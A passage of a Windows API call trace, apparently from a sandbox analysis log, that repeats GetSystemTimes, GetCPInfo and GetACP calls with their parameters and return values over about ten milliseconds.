lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.143] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.143] GetACP () returned 0x4e4 [0094.143] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.143] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.143] GetACP () returned 0x4e4 [0094.143] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.143] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.143] GetACP () returned 0x4e4 [0094.143] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.143] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.143] GetACP () returned 0x4e4 [0094.143] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.143] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.143] GetACP () returned 0x4e4 [0094.143] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.143] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.143] GetACP () returned 0x4e4 [0094.143] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.143] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.143] GetACP () returned 0x4e4 [0094.143] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.144] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.144] GetACP () returned 0x4e4 [0094.144] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.144] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.144] GetACP () returned 0x4e4 [0094.144] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.144] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.144] GetACP () returned 0x4e4 [0094.144] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.144] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.144] GetACP () returned 0x4e4 [0094.144] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.144] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.144] GetACP () returned 0x4e4 [0094.144] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.144] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.144] GetACP () returned 0x4e4 [0094.144] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.144] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.144] GetACP () returned 0x4e4 [0094.144] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.144] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.144] GetACP () returned 0x4e4 [0094.144] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.145] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.145] GetACP () returned 0x4e4 [0094.145] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.145] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.145] GetACP () returned 0x4e4 [0094.145] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.145] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.145] GetACP () returned 0x4e4 [0094.145] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.145] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.145] GetACP () returned 0x4e4 [0094.145] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.145] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.145] GetACP () returned 0x4e4 [0094.145] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.145] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.145] GetACP () returned 0x4e4 [0094.145] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.145] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.145] GetACP () returned 0x4e4 [0094.145] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.145] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.146] GetACP () returned 0x4e4 [0094.146] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.146] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.146] GetACP () returned 0x4e4 [0094.146] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.146] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.146] GetACP () returned 0x4e4 [0094.146] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.146] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.146] GetACP () returned 0x4e4 [0094.146] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.146] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.146] GetACP () returned 0x4e4 [0094.146] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.146] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.146] GetACP () returned 0x4e4 [0094.146] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.146] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.146] GetACP () returned 0x4e4 [0094.146] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.146] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.146] GetACP () returned 0x4e4 [0094.146] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.146] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.147] GetACP () returned 0x4e4 [0094.147] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.147] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.147] GetACP () returned 0x4e4 [0094.147] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.147] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.147] GetACP () returned 0x4e4 [0094.147] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.147] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.147] GetACP () returned 0x4e4 [0094.147] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.147] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.147] GetACP () returned 0x4e4 [0094.147] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.147] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.147] GetACP () returned 0x4e4 [0094.147] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.147] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.147] GetACP () returned 0x4e4 [0094.147] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.147] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.147] GetACP () returned 0x4e4 [0094.147] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.148] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.148] GetACP () returned 0x4e4 [0094.148] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.148] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.148] GetACP () returned 0x4e4 [0094.148] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.148] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.148] GetACP () returned 0x4e4 [0094.148] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.148] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.148] GetACP () returned 0x4e4 [0094.148] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.148] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.148] GetACP () returned 0x4e4 [0094.148] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.148] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.148] GetACP () returned 0x4e4 [0094.148] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.148] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.148] GetACP () returned 0x4e4 [0094.148] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.148] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.148] GetACP () returned 0x4e4 [0094.148] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.149] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.149] GetACP () returned 0x4e4 [0094.149] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.149] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.149] GetACP () returned 0x4e4 [0094.149] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.149] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.149] GetACP () returned 0x4e4 [0094.149] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.149] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.149] GetACP () returned 0x4e4 [0094.149] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.149] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.149] GetACP () returned 0x4e4 [0094.149] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.149] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.149] GetACP () returned 0x4e4 [0094.149] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.149] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.149] GetACP () returned 0x4e4 [0094.149] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.149] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.149] GetACP () returned 0x4e4 [0094.149] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.150] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.150] GetACP () returned 0x4e4 [0094.150] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.150] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.150] GetACP () returned 0x4e4 [0094.150] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.150] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.150] GetACP () returned 0x4e4 [0094.150] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.150] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.150] GetACP () returned 0x4e4 [0094.150] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.150] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.150] GetACP () returned 0x4e4 [0094.150] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.150] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.150] GetACP () returned 0x4e4 [0094.150] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.150] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.150] GetACP () returned 0x4e4 [0094.150] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.150] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.151] GetACP () returned 0x4e4 [0094.151] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.151] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.151] GetACP () returned 0x4e4 [0094.151] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.151] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.151] GetACP () returned 0x4e4 [0094.151] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.151] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.151] GetACP () returned 0x4e4 [0094.151] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.151] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.151] GetACP () returned 0x4e4 [0094.151] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.151] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.151] GetACP () returned 0x4e4 [0094.151] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.151] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.151] GetACP () returned 0x4e4 [0094.151] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.151] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.151] GetACP () returned 0x4e4 [0094.151] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.152] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.152] GetACP () returned 0x4e4 [0094.152] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.152] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.152] GetACP () returned 0x4e4 [0094.152] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.152] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.152] GetACP () returned 0x4e4 [0094.152] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.152] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.152] GetACP () returned 0x4e4 [0094.152] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.152] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.152] GetACP () returned 0x4e4 [0094.152] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.152] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.152] GetACP () returned 0x4e4 [0094.152] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.152] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0094.152] GetACP () returned 0x4e4 [0094.152] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0094.152] 